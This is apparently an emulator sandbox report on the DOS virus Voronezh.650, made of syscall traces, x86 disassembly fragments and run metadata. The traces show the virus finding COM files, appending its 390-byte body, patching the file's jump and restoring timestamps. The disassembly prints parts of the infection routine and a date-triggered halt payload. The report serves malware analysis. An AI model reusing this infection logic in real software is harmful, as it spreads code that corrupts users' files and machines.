Sample viewer

vx.netlux.org/Virus.DOS.Voronezh.650

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:31:00.627362283Z 172 PC: 12a54 | UNKNOWN!
2018-12-17T22:31:00.629115383Z 53 PC: 12abb | Get interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-17T22:31:00.630230771Z 37 PC: 12adc | Set interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-17T22:31:00.631311069Z 44 PC: 13405 | Get time 0x13405: cmp cl, 3
0x13408: jne 0x1341c
0x1340a: mov ax, 1
0x1340d: int 0x10
0x1340f: mov ah, 9
0x13411: push cs
0x13412: pop ds
0x13413: call 0x13416
0x13416: pop dx
0x13417: add dx, 7
0x1341a: int 0x21
0x1341c: ret
0x1341d: push si
0x1341e: imul sp, word ptr [si + 0x65], 0x206f
0x13423: insw word ptr es:[di], dx
0x13424: outsw dx, word ptr [si]
0x13425: and byte ptr gs:[bx + si], bh
0x13429: xor byte ptr [bx + si + 0x32], bh
0x1342c: xor ax, 0x6e20
0x1342f: outsw dx, word ptr [si]
2018-12-17T22:31:00.633469008Z 2 PC: 12de9 | Character output (Char = '0d')
2018-12-17T22:31:00.635753543Z 2 PC: 12ded | Character output (Char = '0a')
2018-12-17T22:31:00.638431989Z 9 PC: 12dde | Display string (String= '** PC TIMER 1.23 ** ')
2018-12-17T22:31:00.640449407Z 2 PC: 12de9 | Character output (Char = '0d')
2018-12-17T22:31:00.642316992Z 2 PC: 12ded | Character output (Char = '0a')
2018-12-17T22:31:00.644992815Z 2 PC: 12de9 | Character output (Char = '0d')
2018-12-17T22:31:00.646417598Z 2 PC: 12ded | Character output (Char = '0a')
2018-12-17T22:31:00.64891075Z 2 PC: 12de9 | Character output (Char = '0d')
2018-12-17T22:31:00.651350393Z 2 PC: 12ded | Character output (Char = '0a')
2018-12-17T22:31:00.653660139Z 2 PC: 12de9 | Character output (Char = '0d')
2018-12-17T22:31:00.655083488Z 2 PC: 12ded | Character output (Char = '0a')
2018-12-17T22:31:00.657744425Z 9 PC: 12dde | Display string (String= '���� �� ������� ')
2018-12-17T22:31:00.664974016Z 2 PC: 12de9 | Character output (Char = '0d')
2018-12-17T22:31:00.667667971Z 2 PC: 12ded | Character output (Char = '0a')

{"DateBased":false,"Day":0,"Month":0,"Year":0,"Hour":0,"Min":0,"Second":0,"TimeBased":true,"OriginalID":5540,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:54:44.571497352Z 26 PC: 14113 | Set disk transfer address
2018-12-25T11:54:44.573472564Z 78 PC: 14127 | Find first file
2018-12-25T11:54:44.579488295Z 61 PC: 14134 | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:54:44.585800804Z 66 PC: 14206 | Move file pointer
2018-12-25T11:54:44.587511622Z 62 PC: 1415b | Close file
2018-12-25T11:54:44.589532854Z 79 PC: 14127 | Find next file (See above)
2018-12-25T11:54:44.592309957Z 61 PC: 14134 | Open file (See above)
2018-12-25T11:54:44.599615306Z 66 PC: 14206 | Move file pointer (See above)
2018-12-25T11:54:44.601751405Z 62 PC: 1415b | Close file (See above)
2018-12-25T11:54:44.603455485Z 79 PC: 14127 | Find next file (See above)
2018-12-25T11:54:44.606349764Z 61 PC: 14134 | Open file (See above)
2018-12-25T11:54:44.616759885Z 66 PC: 14206 | Move file pointer (See above)
2018-12-25T11:54:44.618077988Z 62 PC: 1415b | Close file (See above)
2018-12-25T11:54:44.619817812Z 79 PC: 14127 | Find next file (See above)
2018-12-25T11:54:44.622349633Z 61 PC: 14134 | Open file (See above)
2018-12-25T11:54:44.629547079Z 66 PC: 14206 | Move file pointer (See above)
2018-12-25T11:54:44.631176307Z 62 PC: 1415b | Close file (See above)
2018-12-25T11:54:44.633130524Z 79 PC: 14127 | Find next file (See above)
2018-12-25T11:54:44.636801995Z 61 PC: 14134 | Open file (See above)
2018-12-25T11:54:44.643390485Z 66 PC: 14206 | Move file pointer (See above)
2018-12-25T11:54:44.644976707Z 62 PC: 1415b | Close file (See above)
2018-12-25T11:54:44.647890014Z 79 PC: 14127 | Find next file (See above)
2018-12-25T11:54:44.650543656Z 61 PC: 14134 | Open file (See above)
2018-12-25T11:54:44.657095991Z 66 PC: 14206 | Move file pointer (See above)
2018-12-25T11:54:44.66010436Z 62 PC: 1415b | Close file (See above)
2018-12-25T11:54:44.661887841Z 79 PC: 14127 | Find next file (See above)
2018-12-25T11:54:44.664158852Z 61 PC: 14134 | Open file (See above)
2018-12-25T11:54:44.671382079Z 66 PC: 14206 | Move file pointer (See above)
2018-12-25T11:54:44.673086864Z 62 PC: 1415b | Close file (See above)
2018-12-25T11:54:44.675975864Z 79 PC: 14127 | Find next file (See above)
2018-12-25T11:54:44.686017221Z 61 PC: 14134 | Open file (See above)
2018-12-25T11:54:44.692878137Z 66 PC: 14206 | Move file pointer (See above)
2018-12-25T11:54:44.694542635Z 87 PC: 1414b | Get or set file date and time
2018-12-25T11:54:44.695790926Z 44 PC: 1416b | Get time 0x1416b: or dx, dx
0x1416d: je 0x14167
0x1416f: mov word ptr [bp + 0x289], dx
0x14173: mov ax, 0x4200
0x14176: call 0x14200
0x14179: mov ah, 0x3f
0x1417b: lea dx, word ptr [bp + 0x22b]
0x1417f: mov cx, 3
0x14182: int 0x21
0x14184: cmp byte ptr [bp + 0x22b], 0x4d
0x14189: je 0x14157
0x1418b: cmp byte ptr [bp + 0x22b], 0x5a
0x14190: je 0x14157
0x14192: mov ax, 0x4202
0x14195: call 0x14200
0x14198: sub ax, 3
0x1419b: mov word ptr cs:[bp + 0x229], ax
0x141a0: lea si, word ptr [bp + 0x106]
0x141a4: mov di, 0xfb90
0x141a7: mov cx, 0x186
2018-12-25T11:54:44.698467181Z 66 PC: 14206 | Move file pointer (See above)
2018-12-25T11:54:44.699776472Z 63 PC: 14184 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T11:54:44.702194522Z 66 PC: 14206 | Move file pointer (See above)
2018-12-25T11:54:44.704116135Z 64 PC: 141bd | Write file or device (Write 390 bytes on handle 5)
2018-12-25T11:54:44.707210945Z 66 PC: 14206 | Move file pointer (See above)
2018-12-25T11:54:44.70838831Z 64 PC: 141ce | Write file or device (Write 3 bytes on handle 5)
2018-12-25T11:54:44.711596397Z 87 PC: 141d5 | Get or set file date and time
2018-12-25T11:54:44.712945159Z 62 PC: 141d9 | Close file
2018-12-25T11:54:44.726625921Z 42 PC: 141dd | Get date 0x141dd: cmp dh, dl
0x141df: jne 0x141f4
0x141e1: mov ah, 0x2c
0x141e3: int 0x21
0x141e5: and dh, 7
0x141e8: jne 0x141f4
0x141ea: mov ah, 9
0x141ec: lea dx, word ptr [bp + 0x234]
0x141f0: int 0x21
0x141f2: cli
0x141f3: hlt
0x141f4: mov ah, 0x1a
0x141f6: mov dx, 0x80
0x141f9: int 0x21
0x141fb: mov ax, 0x100
0x141fe: push ax
0x141ff: ret
0x14200: xor cx, cx
0x14202: xor dx, dx
0x14204: int 0x21
2018-12-25T11:54:44.729480299Z 26 PC: 141fb | Set disk transfer address
2018-12-25T11:54:44.730858471Z 48 PC: 12a63 | Get DOS version
2018-12-25T11:54:44.732124371Z 9 PC: 12a7a | Display string (String= ' --=[ Selfchecking AntiStealth Goat COM/EXE file, 01/06/01 ]=------------------ (c) 1995-2001 by ROSE SWE, Dipl.-Ing. Ralph Roth - Version 1.18 - Freeware ')
2018-12-25T11:54:44.741816544Z 61 PC: 12cb7 | Open file (Filename = '')
2018-12-25T11:54:44.748770641Z 9 PC: 12a88 | Display string (String= 'Self test: ')
2018-12-25T11:54:44.750820316Z 93 PC: 12b24 | File sharing functions
2018-12-25T11:54:44.753105442Z 9 PC: 12b03 | Display string (String= 'Size change=+030Ch/00780d. Virus might be activ? ')
2018-12-25T11:54:44.758291756Z 76 PC: 12b09 | Terminate with return code (Return code = '1')

{"DateBased":false,"Day":0,"Month":0,"Year":0,"Hour":0,"Min":3,"Second":0,"TimeBased":true,"OriginalID":5540,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:54:44.182878241Z 172 PC: 12a54 | UNKNOWN!
2018-12-25T11:54:44.183925749Z 53 PC: 12abb | Get interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-25T11:54:44.186523658Z 37 PC: 12adc | Set interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-25T11:54:44.188090488Z 44 PC: 13405 | Get time 0x13405: cmp cl, 3
0x13408: jne 0x1341c
0x1340a: mov ax, 1
0x1340d: int 0x10
0x1340f: mov ah, 9
0x13411: push cs
0x13412: pop ds
0x13413: call 0x13416
0x13416: pop dx
0x13417: add dx, 7
0x1341a: int 0x21
0x1341c: ret
0x1341d: push si
0x1341e: imul sp, word ptr [si + 0x65], 0x206f
0x13423: insw word ptr es:[di], dx
0x13424: outsw dx, word ptr [si]
0x13425: and byte ptr gs:[bx + si], bh
0x13429: xor byte ptr [bx + si + 0x32], bh
0x1342c: xor ax, 0x6e20
0x1342f: outsw dx, word ptr [si]
2018-12-25T11:54:44.199184532Z 9 PC: 1341c | Display string (String= 'Video mode 80x25 not supported ')
2018-12-25T11:54:44.211334061Z 2 PC: 12de9 | Character output (Char = '0d')
2018-12-25T11:54:44.213686737Z 2 PC: 12ded | Character output (Char = '0a')
2018-12-25T11:54:44.215971175Z 9 PC: 12dde | Display string (String= '** PC TIMER 1.23 ** ')
2018-12-25T11:54:44.220725401Z 2 PC: 12de9 | Character output (See above)
2018-12-25T11:54:44.22295049Z 2 PC: 12ded | Character output (See above)
2018-12-25T11:54:44.225216657Z 2 PC: 12de9 | Character output (See above)
2018-12-25T11:54:44.227984699Z 2 PC: 12ded | Character output (See above)
2018-12-25T11:54:44.230606328Z 2 PC: 12de9 | Character output (See above)
2018-12-25T11:54:44.233149297Z 2 PC: 12ded | Character output (See above)
2018-12-25T11:54:44.235670602Z 2 PC: 12de9 | Character output (See above)
2018-12-25T11:54:44.238422855Z 2 PC: 12ded | Character output (See above)
2018-12-25T11:54:44.240831268Z 9 PC: 12dde | Display string (See above)
2018-12-25T11:54:44.243331276Z 2 PC: 12de9 | Character output (See above)
2018-12-25T11:54:44.246267598Z 2 PC: 12ded | Character output (See above)